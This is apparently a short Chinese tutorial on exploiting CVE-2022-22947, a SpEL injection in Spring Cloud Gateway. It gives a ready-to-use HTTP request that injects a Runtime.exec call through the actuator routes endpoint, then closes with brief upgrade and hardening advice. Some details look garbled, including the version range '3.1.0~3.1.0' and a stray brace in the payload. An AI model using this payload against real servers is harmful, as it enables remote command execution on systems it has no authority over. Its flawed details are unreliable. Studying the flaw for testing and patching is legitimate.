写在前面:合法学习边界
Spring Cloud Gateway 攻击只在授权测试环境进行。
一、SpEL RCE 利用链

1
| ① 发现 Gateway → ② 确认版本 → ③ SpEL 注入 → ④ Runtime.exec() → ⑤ RCE
|
二、漏洞信息
1
2
3
4
| CVE-2022-22947
影响:Spring Cloud Gateway 3.1.0~3.1.0 / 3.0.0~3.0.7
入口:POST /actuator/gateway/routes/{id}
类型:SpEL 表达式注入
|
三、利用步骤
1
2
3
4
| POST /actuator/gateway/routes/exploit
Content-Type: application/json
{"id":"exploit","filters":[{"name":"AddRequestHeader","args":{"name":"X-Test","value":"#{T(java.lang.Runtime).getRuntime().exec('whoami')}}"}}]}
POST /actuator/gateway/refresh
|
四、防御加固
1
2
3
| 升级到 Spring Cloud Gateway 3.1.1+
关闭 /actuator/gateway/* 端点
WAF 拦截 SpEL 表达式
|
五、小结
SpEL 注入是 Spring Cloud Gateway 的高危漏洞。防御核心是升级版本 + 关闭 Actuator 端点。